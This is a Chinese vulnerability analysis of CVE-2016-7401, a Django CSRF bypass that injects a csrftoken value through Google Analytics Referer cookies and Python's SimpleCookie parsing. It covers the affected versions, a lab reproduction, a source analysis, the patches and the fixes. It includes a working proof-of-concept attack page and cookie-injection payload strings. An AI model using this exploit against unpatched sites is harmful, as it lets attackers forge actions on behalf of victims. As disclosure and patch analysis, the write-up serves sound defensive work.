0x00 漏洞概述
1.漏洞简介
Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。
2.漏洞影响
网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:
- 使用Google Analytics来做数据统计
- 使用Django作为Web框架
- 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)
3.影响版本
- Django 1.9.x < 1.9.10
- Django 1.8.x < 1.8.15
- Python2 < 2.7.9
- Python3 < 3.2.7
0x01 漏洞复现
1. 环境搭建
pip install django==1.9.9
django-admin startproject project
cd project
python manage.py startapp app
cd app
将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中更改或添加下列文件:
project/app/views.py:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def check(req):
if req.method == 'POST':
return HttpResponse('CSRF check successfully!')
else:
return render(req, 'check.html')
def ga(req):
return render(req, 'ga.html')
project/project/urls.py:
from django.conf.urls import url
from django.contrib import admin
from app.views import check, ga
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^check/', check, name='check'),
url(r'^ga/', ga, name='ga'),
]
project/app/templates/check.html:
<form action="/check/" method="POST">
{% csrf_token %}
<input type="submit" value="Check"></input>
</form>
project/app/templates/ga.html(放置Goolge Analytics脚本的页面):
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXX-X']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
最后运行开启Django内置server:
# project/
python manage.py runserver
2.漏洞分析
我们先来看这样一个场景:
当python内置的Cookie.SimpleCookie()
解析a=hello]b=world
这种形式的字符串时会以]
作为分隔,最后取得a=hello
和b=world
这两个cookie,那么为什么会这样呢?
我们看一下源码,Ubuntu下/usr/lib/python2.7/Cookie.py
第622-663行:
def load(self, rawdata):
"""Load cookies from a string (presumably HTTP_COOKIE) or
from a dictionary. Loading cookies from a dictionary 'd'
is equivalent to calling:
map(Cookie.__setitem__, d.keys(), d.values())
"""
if type(rawdata) == type(""):
self.__ParseString(rawdata)
else:
# self.update() wouldn't call our custom __setitem__
for k, v in rawdata.items():
self[k] = v
return
# end load()
def __ParseString(self, str, patt=_CookiePattern):
i = 0 # Our starting point
n = len(str) # Length of string
M = None # current morsel
while 0 <= i < n:
# Start looking for a cookie
match = patt.search(str, i)
if not match: break # No more cookies
K,V = match.group("key"), match.group("val")
i = match.end(0)
...
当传入load
一个字符串时,调用__ParseString
,在__ParseString
中有这样一句:match = patt.search(str, i)
,根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern
在529-545行:
_LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
r"(?x)" # This is a Verbose pattern
r"(?P<key>" # Start of group 'key'
""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedy
r")" # End of group 'key'
r"\s*=\s*" # Equal Sign
r"(?P<val>" # Start of group 'val'
r'"(?:[^\\"]|\\.)*"' # Any doublequoted string
r"|" # or
r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
r"|" # or
""+ _LegalCharsPatt +"*" # Any word or empty string
r")" # End of group 'val'
r"\s*;?" # Probably ending in a semi-colon
)
在这里我们看到]
并没有在_LegalCharsPatt
中,由于代码中使用的是search
函数,所以在匹配a=hello
后碰到]
会跳过这个字符然后再匹配b=world
。因此正是因为使用search
函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt
中的字符(例如[
、\
、]
、\x09
、\x0b
、\x0c
)都会达到同样的效果:
c.load('a=helloXb=world') # X为上述字符
SetCookie: a='hello' b='world'
这个漏洞也正是整个Bypass的核心所在。
我们再来看Django(1.9.9)中对cookie的解析,在http/cookie.py
中第91-106行:
def parse_cookie(cookie):
if cookie == '':
return {}
if not isinstance(cookie, http_cookies.BaseCookie):
try:
c = SimpleCookie()
c.load(cookie)
except http_cookies.CookieError:
# Invalid cookie
return {}
else:
c = cookie
cookiedict = {}
for key in c.keys():
cookiedict[key] = c.get(key).value
return cookiedict
根据动态调试发现这里的SimpleCookie
也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。
我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问http://127.0.0.1:8000/check/
,点击Check然后抓包:
可以看到csrftoken
和csrfmiddlewaretoken
的值是相同的,其中csrfmiddlewaretoken
的值如图:
也就是Django对check.html
中的{% csrf_token %}
所赋的值。我们再改下包,使csrftoken
和csrfmiddlewaretoken
不相等,这回服务器就会返回403:
我们再把两个值都改成另外一个值看看:
依然成功。
所以Django对于CSRF的防护就是判断cookie中的csrftoken
和提交的csrfmiddlewaretoken
的值是否相等。
那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的csrftoken
值为攻击者构造的csrdmiddlewaretoken
的值。
如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
其中[HOST]
和[PATH]
是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld
由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?
这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为http://x.com/hello]csrftoken=world
,GA设置的cookie如下:
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world
当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。
实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:
urls.py:
from django.conf.urls import url
from django.contrib import admin
from app.views import route
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^hello', route)
]
views.py:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def route(req):
return render(req, 'route.html')
route.html:
<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>
开启中转App:
python manage.py runserver xxx
构造一个攻击页面:
<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>
<script type="text/javascript" charset="utf-8">
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function poc() {
window.open('http://redirect-server/hello]csrftoken=boom');
sleep(1000).then(() => {
document.getElementById('csrf').submit();
});
}
</script>
<a href='#' onclick=poc()> Click me </a>
当我们点击Click me
,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:
再访问一下http://127.0.0.1:8000/check/
,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:
攻击流程如下:
3.补丁分析
Python
可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:
将search
改成了match
函数,所以再遇到非法符号匹配会停止。
再看该文件在2.7.10中的patch:
这里将[\]
设置为了合法的value中的字符,也就是
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>
同样Python3在3.2.7和3.3.6中也做了相应patch:
不过尽管上面对[\]做了限制,但是由于pattern最后\s*的存在,所以在以下情况下仍然存在漏洞:
>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>
这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。
Django
Django在1.9.10和1.8.15中做了相同的patch:
它放弃了使用Python内置库来处理cookie,而是自己根据;分割再取值,使特殊符号不再起作用。
0x02 修复方案
- 升级Python
- 升级Django
0x03 参考
- https://www.seebug.org/vuldb/ssvid-92447
- https://hackerone.com/reports/26647
- https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a
- https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage
原文:http://blog.knownsec.com/2016/10/django-csrf-bypass_cve-2016-7401/